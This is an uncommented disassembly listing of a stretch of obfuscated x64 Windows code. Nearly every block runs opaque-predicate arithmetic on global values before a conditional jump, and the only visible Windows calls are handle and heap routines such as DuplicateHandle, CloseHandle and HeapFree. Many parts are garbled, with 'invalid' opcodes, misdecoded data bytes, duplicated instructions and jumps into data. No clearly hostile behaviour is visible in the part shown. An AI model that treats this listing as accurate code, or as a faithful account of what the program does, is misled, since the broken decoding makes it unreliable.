mov eax, dword [0x141f41898]
xor edx, edx
div dword [0x141f4189c]
imul eax, eax, 0xa9088fa9
and eax, 0xf5e80c18
cmp eax, 0x450e161b
mov rbx, rcx
jbe 0x1400bbe76
jmp 0x1400bbeb0
test rcx, rcx
jne 0x1400bbdbb
sub rsp, 0x20
call fcn.140101800
add rsp, 0x20
mov eax, dword [str.T_rdR]
xor eax, dword [0x141f41844]
or eax, 0x9360533
add eax, 0xa46a9de5
or eax, 0xeeb2304b
cmp eax, 0x8ac123cb
je 0x1400bbd94
jmp 0x1400bbc30
xor ecx, ecx
nop dword [rax]
test cl, cl
jne 0x1400bbdc0
test al, al
jne 0x1400bc060
mov rax, 0xffffffffffffffff
lock xadd qword [r13], rax
mov ecx, dword [0x141f41848]
xor ecx, dword [0x141f4184c]
imul ecx, ecx, 0x43f4e006
add ecx, 0x439e2a87
xor ecx, 0xe47c29d7
cmp ecx, 0xeeda5a19
ja 0x1400bbdd9
cmp rax, 1
jne 0x1400bc060
mov eax, dword [0x141f41850]
xor edx, edx
div dword [0x141f41854]
add eax, 0x1f459667
or eax, 0x8ad9b5ff
add eax, 0x3276bd74
cmp eax, 0xc79ae6e3
jae 0x1400bbe2d
mov eax, dword [0x141f41858]
and eax, dword [0x141f4185c]
xor eax, 0xb0f771f8
imul eax, eax, 0x77e45048
add eax, 0xe15e308
cmp eax, 0x50281a2b
jb 0x1400bbe2d
mov eax, dword [0x141f41860]
sub eax, dword [0x141f41864]
add eax, 0xe4dabc8c
and eax, 0x68a7a4b0
cmp eax, 0xf83017b6
jbe 0x1400bc018
jmp 0x1400bc04e
mov eax, dword [0x141f418a0]
xor eax, dword [0x141f418a4]
imul r13d, eax, 0x4858cdeb
add r13d, 0x525b7604
xor r13d, 0x693f428
sub rsp, 0x20
call fcn.1400a5600
mov rcx, rbx
add rsp, 0x20
cmp r13d, 0xad434f19
jbe 0x1400bbec2
sub rsp, 0x20
call fcn.1400a5600
mov rcx, rbx
add rsp, 0x20
jmp 0x1400bbe76
mov r13, qword [rbp]
mov rbx, qword [rbp - 8]
mov qword [rbp], r13
mov r8, qword [rdi]
mov r13, qword [r8 + 0x10]
test r13, r13
je 0x1400bbf7d
mov eax, dword [0x141f418b8]
add eax, dword [0x141f418bc]
shr eax, 2
imul rax, rax, 0x441919d1
shr rax, 0x3a
and eax, 0xfffffffc
cmp eax, 0xc54a2053
jne 0x1400bbf10
lock inc qword [r13 + 0x18]
nop word [rax + rax]
mov eax, dword [0x141f418c0]
imul eax, dword [0x141f418c4]
imul ecx, eax, 0x92637a82
add ecx, 0xa7f13f62
mov eax, 1
lock xadd qword [r13 + 0x18], rax
cmp ecx, 0xec7ab49b
ja 0x1400bbf10
mov ecx, 0xeca7c9eb
nop word cs:[rax + rax]
mov edx, dword [0x141f418c8]
sub edx, dword [0x141f418cc]
add edx, 0x52e9190f
imul rdx, rcx
shr rdx, 0x3f
or edx, 0xf5b21eac
cmp edx, 0xe5827d93
jb 0x1400bbf50
test rax, rax
js 0x1400bbf9c
mov r13, r8
mov eax, dword [0x141f418e0]
sub eax, dword [0x141f418e4]
cmp eax, 0xd8d590f3
jne 0x1400bc092
jmp 0x1400bc0c4
add r13, 0x10
mov eax, dword [0x141f418d0]
xor edx, edx
div dword [0x141f418d4]
add eax, 0xd4cd43a6
or eax, 0xb52c835e
and eax, 0xbf7ffb5f
cmp eax, 0x1f9d1347
jb 0x1400bc002
mov esi, dword [0x141f418d8]
and esi, dword [0x141f418dc]
and esi, 0x1ec8ad8f
add esi, 0xebb8b365
or esi, 0xe302f235
sub rsp, 0x20
mov rcx, r13
xor edx, edx
call fcn.140091320
add rsp, 0x20
ud2
sub rsp, 0x20
mov rcx, r13
xor edx, edx
call fcn.140091320
add rsp, 0x20
ud2
mov esi, dword [0x141f41868]
or esi, dword [0x141f4186c]
xor esi, 0xe484100f
and esi, 0xe694d8cf
xor esi, 0x44aee0be
sub rsp, 0x20
mov rcx, r13
call fcn.1400a5600
add rsp, 0x20
cmp esi, 0xf359016e
jbe 0x1400bc060
sub rsp, 0x20
mov rcx, r13
call fcn.1400a5600
add rsp, 0x20
jmp 0x1400bc018
ud2
mov eax, dword [0x141f418e8]
xor eax, dword [0x141f418ec]
add eax, 0xe8fcd517
shr eax, 2
imul rax, rax, 0x44edd89f
shr rax, 0x3c
or eax, 0x5bb12012
movzx ecx, byte [0x141f49078]
cmp eax, 0x593f0b90
jae 0x1400bc0cd
movzx eax, byte [0x141f49078]
jmp 0x1400bc092
sub rsp, 0x20
mov edx, 0x28
xor ecx, ecx
call fcn.1400c6170
add rsp, 0x20
test rax, rax
mov r8, qword [rbp]
je 0x1400bc115
mov r9, rax
mov eax, dword [0x141f418f0]
xor eax, dword [0x141f418f4]
xor eax, 0x8371a93
add eax, 0xb8945fae
or eax, 0x93e3b5d5
cmp eax, 0xf2e5b6b
mov rcx, qword [rbp - 0x18]
jne 0x1400bc147
jmp 0x1400bc16f
mov eax, dword [0x141f41900]
and eax, dword [0x141f41904]
imul rax, rax, 0x4d12a7d3
shr rax, 0x3c
or eax, 0x7211594e
imul eax, eax, 0x5d912fc4
cmp eax, 0x9a586218
jbe 0x1400bc53e
jmp 0x1400bc562
mov eax, dword [0x141f418f8]
xor edx, edx
div dword [0x141f418fc]
imul eax, eax, 0xff06add6
or eax, 0x530144
and eax, 0xa57b5144
mov qword [r9], r12
cmp eax, 0xf615ef26
jne 0x1400bc174
mov qword [r9], r12
jmp 0x1400bc147
mov qword [r9 + 8], rbx
mov qword [r9 + 0x10], r8
mov qword [r9 + 0x18], rcx
mov qword [r9 + 0x20], r14
sub rsp, 0x20
lea r8, [0x141f25678]
mov rcx, qword [rbp - 0x10]
mov rdx, r9
call fcn.1400bf070
add rsp, 0x20
test rax, rax
jne 0x1400bc385
mov rcx, rdx
mov qword [r15], r12
mov qword [r15 + 8], r13
mov qword [r15 + 0x10], rdx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
xor eax, eax
test al, al
je 0x1400bc1cf
lock dec qword [r12]
mov rdi, r15
add rdi, 8
nop word cs:[rax + rax]
mov ecx, dword [0x141f41958]
or ecx, dword [0x141f4195c]
or ecx, 0x40
and ecx, 0x20c2
lock dec qword [r12]
sete al
cmp ecx, 0xbd10b08d
je 0x1400bc1e0
test al, al
je 0x1400bc294
mov eax, dword [0x141f41960]
xor eax, dword [0x141f41964]
add eax, 0x97e4e142
or eax, 0x69089cda
mov ecx, 0x9542be21
imul rcx, rax
shr rcx, 0x3f
cmp ecx, 0xae9600fa
jbe 0x1400bc250
mov rcx, qword [r15]
sub rsp, 0x20
call fcn.14007b600
add rsp, 0x20
nop dword [rax + rax]
mov eax, dword [0x141f41968]
imul eax, dword [0x141f4196c]
shr eax, 4
imul rax, rax, 0x10a7b493
shr rax, 0x38
or eax, 0x972f60ca
imul ebx, eax, 0xadae4fc7
mov rcx, qword [r15]
sub rsp, 0x20
call fcn.14007b600
add rsp, 0x20
cmp ebx, 0x1c398651
jb 0x1400bc250
xor eax, eax
test al, al
jne 0x1400bc290
mov rax, qword [rdi]
mov rcx, 0xffffffffffffffff
lock xadd qword [rax], rcx
nop word cs:[rax + rax]
mov eax, dword [0x141f41970]
xor edx, edx
div dword [0x141f41974]
cmp eax, 0x4bac147b
je 0x1400bc2b0
cmp rcx, 1
jne 0x1400bc357
mov eax, dword [str.CvG_n]
and eax, dword [0x141f4197c]
imul eax, eax, 0x5d36a7c
cmp eax, 0x4828b4b8
jne 0x1400bc2f0
nop dword [rax + rax]
mov eax, dword [str._so]
sub eax, dword [0x141f41984]
xor eax, 0xa3ab5d5c
imul eax, eax, 0x132a6d2a
cmp eax, 0x85f43a8e
je 0x1400bc2f0
sub rsp, 0x20
mov rcx, rdi
call fcn.1400bf470
add rsp, 0x20
mov ecx, 0x9a47710b
nop word cs:[rax + rax]
mov eax, dword [0x141f41988]
xor edx, edx
div dword [0x141f4198c]
or eax, 0x7dcc473
imul rax, rcx
shr rax, 0x3f
or eax, 0xc9d3f9f0
cmp eax, 0x24fe7372
je 0x1400bc330
xor ecx, ecx
nop dword [rax]
mov eax, dword [0x141f41a28]
xor edx, edx
div dword [0x141f41a2c]
and eax, 0x8983f018
imul eax, eax, 0xd0260a8a
cmp eax, 0x869981e6
je 0x1400bc360
jmp 0x1400bc5c2
mov eax, dword [0x141f41910]
or eax, dword [0x141f41914]
and eax, 0x19e341e1
imul eax, eax, 0x8560d7c9
cmp eax, 0x4295a157
jae 0x1400bc3a8
lock dec qword [r13]
mov eax, dword [0x141f41918]
xor edx, edx
div dword [0x141f4191c]
and eax, 0x139eb0d6
imul ecx, eax, 0xc36cdbff
or ecx, 0x1cd06f78
lock dec qword [r13]
sete al
cmp ecx, 0xcbf0d7ce
je 0x1400bc3a8
mov ecx, dword [0x141f41920]
xor ecx, dword [0x141f41924]
xor ecx, 0x98022003
or ecx, 0x45480ff0
and ecx, 0xfdda2ffb
cmp ecx, 0xd8187d5d
je 0x1400bc3d7
test al, al
je 0x1400bc411
sub rsp, 0x20
mov rcx, rdi
call fcn.1400bf470
add rsp, 0x20
mov eax, dword [0x141f41928]
imul eax, dword [0x141f4192c]
imul eax, eax, 0xcd8ab625
add eax, 0xf217b10c
imul rcx, rax, 0x2951d75
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1b
cmp eax, 0xb877f5c4
ja 0x1400bc472
mov ecx, dword [0x141f41930]
xor ecx, dword [0x141f41934]
add ecx, 0xc9d1206d
or ecx, 0xa5eeb6c1
add ecx, 0x5c6e78f4
lock dec qword [r12]
sete al
cmp ecx, 0xccd69b7f
jbe 0x1400bc479
lock dec qword [r12]
jmp 0x1400bc444
test al, al
je 0x1400bc509
mov eax, dword [0x141f41938]
xor edx, edx
div dword [0x141f4193c]
or eax, 0x1fce8b7
imul eax, eax, 0xc52c241e
or eax, 0x7757f5b1
cmp eax, 0xdc9f3961
jb 0x1400bc4da
mov eax, dword [0x141f41940]
sub eax, dword [0x141f41944]
add eax, 0x3ed2c283
and eax, 0x9207148b
imul esi, eax, 0x791f2ced
sub rsp, 0x20
mov rcx, r12
call fcn.14007b600
add rsp, 0x20
cmp esi, 0xe4bb5c74
jbe 0x1400bc4ec
sub rsp, 0x20
mov rcx, r12
call fcn.14007b600
add rsp, 0x20
jmp 0x1400bc4a6
mov eax, dword [0x141f41948]
add eax, dword [0x141f4194c]
or eax, 0x55eb0a29
and eax, 0xdfeb6bbd
cmp eax, 0x55f23737
je 0x1400bc4ec
xor eax, eax
test al, al
jne 0x1400bc52f
mov eax, dword [0x141f41950]
imul eax, dword [0x141f41954]
add eax, 0x20c26104
xor eax, 0x8bf0e738
ud2
ud2
mov eax, dword [0x141f41908]
imul eax, dword [0x141f4190c]
and eax, 0x905fd51f
add eax, 0x8e316fea
ud2
ud2
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
mov esi, eax
xor eax, eax
test al, al
je 0x1400bc58c
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
jmp 0x1400bc566
shl rsi, 0x20
or rsi, 2
nop word cs:[rax + rax]
mov eax, dword [0x141f419d0]
sub eax, dword [0x141f419d4]
or eax, 0x2048805a
and eax, 0x2269c5fe
cmp eax, 0x41b3f4e8
je 0x1400bc5a0
mov ecx, 1
mov rax, rcx
mov rdx, rsi
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, dword [0x141f41a18]
xor eax, dword [0x141f41a1c]
add eax, 0xe04f0ab6
imul rcx, rax, 0x1432f7a5
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1d
imul eax, eax, 0x13dca461
mov qword [rbx + 8], rdi
cmp eax, 0x74e8c43d
jne 0x1400bc615
mov qword [rbx + 8], rdi
jmp 0x1400bc5d9
xor ecx, ecx
nop word [rax + rax]
mov eax, dword [0x141f41a20]
or eax, dword [0x141f41a24]
imul eax, eax, 0xbe6e6d45
add eax, 0xa55facae
cmp eax, 0x3912d94b
jbe 0x1400bc620
jmp 0x1400bc5c2
mov r14d, dword [0x141f41c10]
sub r14d, dword [0x141f41c14]
and r14d, 0x8900c23c
xor eax, 0x4101e847
and esi, 0x8900c23c
xor r14d, 0x18012838
add dword [rax], ebx
or r14d, 0x66f61543
mov eax, 0x10
call fcn.1400f4d10
js 0x1400bd500
add byte [rax + 0x29], cl
invalid
mov rsi, rsp
sub rsp, 0x20
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
add rsp, 0x20
cmp r14d, 0x52700373
jae 0x1400bd53c
js 0x1400bd500
add byte [rax + 0x29], cl
invalid
mov eax, 0x10
call fcn.1400f4d10
sub rsp, rax
sub rsp, 0x20
in al, dx
and byte [rcx + 0x7215ffd9], cl
stosd dword [rdi], eax
add al, 0
add rsp, 0x20
add esp, 0x20
jmp 0x1400bd4d1
mov rdi, rax
nop
mov eax, dword [0x141f41c18]
imul eax, dword [0x141f41c1c]
add dword [0x1691bc72a], ecx
imul eax, eax, 0xe591e019
add eax, 0xadd3319d
lodsd eax, dword [rsi]
lodsd eax, dword [rsi]
cmp eax, 0x50eec27b
ja 0x1400bd540
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov eax, dword [0x141f41c20]
add eax, dword [0x141f41c24]
or eax, 0x81be1605
add eax, 0xfc2ebb76
or eax, 0x63492920
cmp eax, 0x92b614fc
je 0x1400bd570
test rdi, rdi
je 0x1400bd5c8
cmp rdi, 0xffffffffffffffff
jne 0x1400bd5d4
mov eax, dword [0x141f41c28]
sub eax, dword [0x141f41c2c]
xor eax, 0x30d2a008
or eax, 0xcf2d4920
add eax, 0x1f5e9994
cmp eax, 0x5d479def
jae 0x1400bd7af
jmp 0x1400bd7dd
movabs rax, 0x600000002
jmp 0x1400bd64c
mov eax, dword [0x141f41c40]
or eax, dword [0x141f41c44]
add eax, 0x2f36a967
or eax, 0xebf7afff
cmp eax, 0xb65275f6
jae 0x1400bd600
mov qword [rsi], 0
nop dword [rax + rax]
mov eax, dword [0x141f41c48]
mov ecx, dword [0x141f41c4c]
add eax, ecx
add eax, 0x701e6a05
and eax, 0x98202e6a
mov qword [rsi], 0
cmp eax, 0x6d264a5b
je 0x1400bd600
mov eax, dword [0x141f41c50]
and eax, dword [0x141f41c54]
xor eax, 0xc5739c90
add eax, 0x4d67bc69
cmp eax, 0x22d4b432
jae 0x1400bd82f
jmp 0x1400bd88a
mov ecx, eax
and ecx, 3
cmp rcx, 3
ja case.default.0x1400bd66d
invalid
add dword [rax], eax
invalid
xor edi, edi
lea rdx, [0x141f274c4]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
xor edx, edx
jmp rcx
lea rsi, [rax - 1]
nop word cs:[rax + rax]
mov ecx, dword [0x141f41c80]
imul ecx, dword [0x141f41c84]
and ecx, 0xdf9f9ad
imul ecx, ecx, 0x2fbb4f4f
imul rcx, rcx, 0x64387823
shr rcx, 0x3b
cmp ecx, 0xed32e57e
ja 0x1400bd680
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov r14, qword [rbx]
test r14, r14
je 0x1400bd94e
mov es, word [rdx]
add byte [rax], al
mov eax, dword [0x141f41c88]
xor eax, dword [0x141f41c8c]
imul eax, eax, 0xe3139208
or eax, 0x4ce5aaec
imul eax, eax, 0x8bbd3279
sar byte [rcx + 0x32], 0xbd
mov edi, dword [0x18cb62c6b]
jne 0x1400bd904
jmp 0x1400bd93e
mov eax, dword [0x141f41c68]
imul eax, dword [0x141f41c6c]
add eax, 0x32162391
and eax, 0x50401a5a
add eax, 0xe79b759a
cmp eax, 0x3666a0b0
ja case.0x1400bd66d.3
nop word cs:[rax + rax]
mov eax, dword [0x141f41c70]
or eax, dword [0x141f41c74]
or eax, 0x22a7dce6
add eax, 0x62a86fa1
imul rcx, rax, 0xab72d17
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
cmp eax, 0xce29fe3b
ja 0x1400bd720
xor edi, edi
nop word cs:[rax + rax]
mov eax, dword [str.xkVi]
or eax, dword [0x141f41c7c]
imul eax, eax, 0x5055874d
push rbp
push rax
or eax, 0xb19b8e24
add eax, 0x2eebbd3b
cmp eax, 0x43538b2
jb 0x1400bd760
jmp 0x1400bda9d
mov eax, dword [0x141f41c60]
and eax, dword [0x141f41c64]
add eax, 0x1ce3b25d
and eax, 0x50079c0
cmp eax, 0xb256c6c1
ja case.default.0x1400bd66d
ud2
mov eax, dword [0x141f41c30]
and eax, dword [0x141f41c34]
imul esi, eax, 0xedae8771
add esi, 0x64895787
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
cmp esi, 0x77b2588e
jae 0x1400bd7ed
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
jmp 0x1400bd7af
mov ecx, 0x8c01a85b
shl rax, 0x20
or rax, 2
nop word [rax + rax]
mov edx, dword [0x141f41c38]
xor edx, dword [0x141f41c3c]
shr edx, 1
imul rdx, rcx
shr rdx, 0x38
add edx, 0xd79aceb5
and edx, 0x45920de2
cmp edx, 0x55228315
ja 0x1400bd800
jmp 0x1400bd64c
mov ebx, dword [0x141f41c58]
xor ebx, dword [0x141f41c5c]
or ebx, 0xe2136f94
and ebx, 0xe6176fdd
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
sub rsp, 0x20
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
mov r8, rax
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
add rsp, 0x40
cmp ebx, 0x7dd3524
jae 0x1400bd8ca
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
sub rsp, 0x20
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
mov r8, rax
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
add rsp, 0x40
jmp 0x1400bd82f
xor ecx, ecx
nop dword [rax]
test cl, cl
jne 0x1400bd8d0
test eax, eax
je 0x1400bd8e2
mov rdx, qword [rsi]
xor edi, edi
invalid
jmp case.0x1400bd66d.2
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
add byte [rax], al
add cl, ch
pushfq
add dword [rax], eax
invalid
mov eax, dword [0x141f41c90]
and eax, dword [0x141f41c94]
test byte [rbx - 0x18], al
invalid
test byte [rbx - 0x18], al
add dword [rax + 0x69], ecx
rcl byte [rcx + 0x6f], 0x50
and eax, 0x3be8c148
imul rax, rax, 0x25506f51
shr rax, 0x3b
or eax, 0x8cacda35
imul r15d, eax, 0x957eb11e
xor eax, 0x448cacda
imul edi, eax, 0x957eb11e
sub rsp, 0x20
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call r14
add rsp, 0x20
cmp r15d, 0x5f2b458f
jbe 0x1400bd94e
sub rsp, 0x20
mov rcx, rdi
call r14
add rsp, 0x20
jmp 0x1400bd904
mov rax, qword [rbx + 8]
mov rcx, qword [rbx + 0x10]
nop word cs:[rax + rax]
mov edx, dword [0x141f41c98]
and edx, dword [0x141f41c9c]
xor byte [rbx - 0x18], al
add dword [rcx - 0x14d29036], eax
mov edi, 0x3818f281
invalid
pop rsp
imul edx, edx, 0x13d9132e
cmp edx, 0xecb35e27
ja 0x1400bd960
xor byte [rbx - 0x18], al
add dword [rcx - 0x14d29036], eax
mov edi, 0x3818f281
invalid
nop word cs:[rax + rax]
mov edx, dword [0x141f41ca0]
imul edx, dword [0x141f41ca4]
add edx, 0xb305e871
or edx, 0xd374bd90
cmp edx, 0x81216e80
jb 0x1400bd990
test rax, rax
je 0x1400bda40
mov eax, dword [0x141f41ca8]
xor edx, edx
div dword [0x141f41cac]
nop dword [rax + rax]
mov eax, dword [0x141f41cb0]
or eax, dword [0x141f41cb4]
and eax, 0x24004400
or eax, 0x83f2a3a4
imul eax, eax, 0x629d1a54
cmp eax, 0x9c6a8282
je 0x1400bd9d0
cmp rcx, 0x11
jb 0x1400bda26
nop dword [rax]
mov eax, dword [0x141f41cb8]
sub eax, dword [0x141f41cbc]
and eax, 0xf245bcb0
add eax, 0xe029376f
and eax, 0x8004066f
cmp eax, 0x4fa83b2e
je 0x1400bda00
mov rdi, qword [rdi - 8]
mov rcx, qword [0x141f49060]
sub rsp, 0x20
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
xor eax, eax
test al, al
jne 0x1400bda60
mov eax, dword [0x141f41cc0]
add eax, dword [0x141f41cc4]
mov rcx, qword [0x141f49060]
cmp eax, 0xaa3217a1
jne 0x1400bda69
mov rax, qword [0x141f49060]
jmp 0x1400bda46
sub rsp, 0x20
xor edi, edi
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop
mov eax, dword [0x141f41cc8]
sub eax, dword [0x141f41ccc]
call 0x1065b0f90
and al, 5
xor ecx, ebp
lodsb al, byte [rsi]
jp 0x1400bdad4
invalid
invalid
invalid
invalid
jb 0x1400bda80
xor edx, edx
nop
mov eax, dword [0x141f41cd0]
sub eax, dword [0x141f41cd4]
imul eax, eax, 0x56dee75
add eax, 0x76adbbd5
cmp eax, 0x7d838fb2
ja case.0x1400bd66d.2
mov rax, rdi
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
ud2
cmp eax, 0x3fa3b77
jae 0x1400c0d6f
jmp 0x1400c0da2
nop word cs:[rax + rax]
mov eax, dword [0x141f423d0]
add eax, dword [0x141f423d4]
cmp eax, 0x695f2841
je 0x1400c0d20
invalid
jmp 0x1400c045e
invalid
mov eax, dword [str.ix4_a]
add eax, dword [0x141f422fc]
and eax, 0xd972535
xor eax, 0xe21a5b65
mov r14d, 0x9a8956f1
imul r14, rax
shr r14, 0x3f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp r14d, 0xd826e2cd
fdiv dword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400c0d6f
mov r12d, eax
shl r12, 0x20
or r12, 2
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
mov eax, dword [0x141f42300]
and eax, dword [0x141f42304]
and eax, 0xb5e11a63
imul eax, eax, 0xa3b2689a
cmp eax, 0x7069d88a
je 0x1400c0dc0
mov r13, r12
mov eax, r12d
and eax, 3
shr r12, 0x20
cmp eax, 2
jne 0x1400c0e30
mov eax, dword [0x141f42328]
and eax, dword [0x141f4232c]
add eax, 0xf31b44c8
or eax, 0xcfa337c6
mov ecx, 0x96c655d3
imul rcx, rax
shr rcx, 0x3e
cmp ecx, 0xb9a3a2b4
jbe 0x1400c1092
jmp 0x1400c10a2
mov eax, dword [str._OZW]
mov ecx, dword [0x141f4231c]
add eax, ecx
add eax, 0xe2c0dfed
xor eax, 0x2081080
or eax, 0xe572e763
cmp eax, 0xa2c2b4c4
jb 0x1400c0e30
cmp r12d, 0xb
je case.0x1400c0ea5.0
add byte [rax], al
nop
mov eax, dword [0x141f42320]
and eax, dword [0x141f42324]
imul rax, rax, 0x4645e117
shr rax, 0x3c
and eax, 0xfffffffc
imul eax, eax, 0x18b77d0d
or eax, 0x3d18b77d
mov bl, 0xee
pop rax
pop rdx
or eax, 0x3d18b77d
mov bl, 0xee
pop rax
pop rdx
jae 0x1400c0e60
mov eax, r13d
and eax, 3
add ecx, dword [rax - 0x7d]
clc
add ecx, dword [rdi]
xchg edi, ecx
add dword [rax], eax
invalid
add ecx, dword [rax - 0x7d]
clc
add ecx, dword [rdi]
xchg edi, ecx
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0x1e66636
lea rcx, [0x141f274d4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea r14, [r13 - 1]
nop dword [rax + rax]
mov eax, dword [0x141f42358]
imul eax, dword [0x141f4235c]
shr eax, 2
imul rax, rax, 0x143ce245
shr rax, 0x3a
shr eax, 0x3a
shr eax, 0x3a
or eax, 0x5ff770ee
cmp eax, 0xd26d0cc2
ja 0x1400c0eb0
mov r15, qword [r13 - 1]
mov r12, qword [r13 + 7]
mov r13, qword [r12]
test r13, r13
je 0x1400c0f68
mov eax, dword [0x141f42360]
add eax, dword [0x141f42364]
and eax, 0xd341050a
cmp eax, 0xd8629a63
jne 0x1400c0f10
mov rcx, r15
call r13
nop word [rax + rax]
nop dword [rax + rax]
mov ebp, dword [0x141f42368]
or ebp, dword [0x141f4236c]
add ebp, 0xd6ee1f42
and ebp, 0x2a0b0bc7
mov rcx, r15
call r13
cmp ebp, 0x38bb0561
ja 0x1400c0f10
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rbx - 0x17ebd5fb], cl
add dword [rbx], esp
add eax, 0x1e81428
invalid
mov eax, dword [0x141f42370]
and eax, dword [0x141f42374]
invalid
add dword [0x1264c4fcc], esp
and eax, 0xe640407b
imul rax, rax, 0x56113c89
shr rax, 0x3e
or eax, 0x3ca92e16
or eax, 0x3ca92e16
cmp eax, 0xd5b91977
je 0x1400c0f40
mov rcx, qword [r12 + 8]
mov rax, qword [r12 + 0x10]
xor edx, edx
nop word cs:[rax + rax]
test dl, dl
jne 0x1400c0f80
test rcx, rcx
je 0x1400c1479
nop dword [rax]
mov ecx, dword [0x141f42378]
mov edx, dword [0x141f4237c]
adc eax, 0x1e813e0
adc eax, 0x1e813e0
add ecx, edx
add ecx, 0xcbfc4f82
or ecx, 0x9a70e74f
add ecx, 0xb09344bc
cmp ecx, 0x9a103aea
ja 0x1400c0f90
cmp rax, 0x11
jb 0x1400c0fdb
mov eax, dword [0x141f42380]
imul eax, dword [0x141f42384]
and eax, 0xe8802212
cmp eax, 0xa82ac91f
je 0x1400c0fbe
mov r15, qword [r15 - 8]
mov eax, dword [0x141f42388]
or eax, dword [0x141f4238c]
add eax, 0xd0c8046
or byte [r9 - 0x3c3796b8], 0x9b
jle 0x1400c0ff8
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
cmp eax, 0x558b8e3c
jbe 0x1400c142d
jmp 0x1400c1465
mov eax, dword [0x141f42348]
imul eax, dword [0x141f4234c]
imul eax, eax, 0x9efe1810
or eax, 0x656d1ce2
add eax, 0x3aebed96
cmp eax, 0xe1e3bbde
ja case.0x1400c0ea5.3
nop word cs:[rax + rax]
mov eax, dword [str.Y3W]
imul eax, dword [0x141f42354]
xor eax, 0xf20569
imul eax, eax, 0x8fed94a2
xor eax, 0x8424cc8a
cmp eax, 0x4f230a05
jb 0x1400c1040
jmp case.0x1400c0ea5.0
mov eax, 0x8f271a15
mov ecx, dword [0x141f42340]
sub ecx, dword [0x141f42344]
imul rcx, rax
shr rcx, 0x3a
imul ecx, ecx, 0x59fab171
cmp ecx, 0xde301f70
je 0x1400c106b
jmp 0x1400c045e
mov ecx, r12d
call fcn.140099d40
mov ecx, eax
xor eax, eax
test al, al
je 0x1400c10b0
mov ecx, r12d
call fcn.140099d40
jmp 0x1400c1092
mov eax, dword [0x141f42330]
xor edx, edx
sal bh, cl
xor eax, 0x1e81276
imul eax, eax, 0x6f92023f
and eax, 0x1f502ec9
imul eax, eax, 0x99c39f9b
cmp eax, 0x192b6481
je 0x1400c10b0
cmp cl, 0xb
jne 0x1400c0e87
mov eax, dword [0x141f42418]
or eax, dword [0x141f4241c]
add eax, 0x9e58115c
shr eax, 1
imul rax, rax, 0x479d2413
shr rax, 0x38
cmp eax, 0x2a54fd7a
jne 0x1400c1117
mov r14, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call r14
mov rcx, rbx
call r14
mov r14, qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebp, ebp
mov rcx, rdi
call r14
mov rcx, rbx
call r14
test bpl, bpl
jne 0x1400c1120
nop word cs:[rax + rax]
mov eax, dword [0x141f42420]
xor eax, dword [0x141f42424]
add eax, 0xa57f31d
or cl, byte [rax + 0x69]
ror bl, 0xec
push rsp
jb 0x1400c11a1
shr eax, 0x3e
cmp eax, 0x85a0c71d
ja 0x1400c1140
mov rdi, qword [rsi + 8]
cmp qword [rdi + 0x18], 0
je 0x1400c12da
nop word cs:[rax + rax]
mov eax, dword [0x141f42428]
sub eax, dword [0x141f4242c]
add eax, 0x2563a2d0
and eax, 0xee3984e8
cmp eax, 0xbb7b3721
je 0x1400c1180
mov rsi, qword [rdi + 0x20]
nop word cs:[rax + rax]
mov eax, dword [0x141f42430]
and eax, dword [0x141f42434]
imul eax, eax, 0xf256b89d
add eax, 0x6e204ce0
cmp eax, 0x4dfe3b
jb 0x1400c11b0
test rsi, rsi
je 0x1400c12da
mov rbx, qword [rdi + 0x28]
xor eax, eax
nop dword [rax]
test al, al
jne 0x1400c11e0
xor eax, eax
nop word cs:[rax + rax]
test al, al
jne 0x1400c11f0
mov rax, qword [rbx]
nop word [rax + rax]
mov ecx, dword [0x141f42438]
or ecx, dword [0x141f4243c]
imul rcx, rcx, 0x9a0cb09
shr rcx, 0x3a
add ecx, 0x5eaac4cd
and ecx, 0x56200003
add byte [rax], ah
push rsi
cmp ecx, 0x870e43a7
ja 0x1400c1200
test rax, rax
je 0x1400c1263
mov rcx, rsi
call rax
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
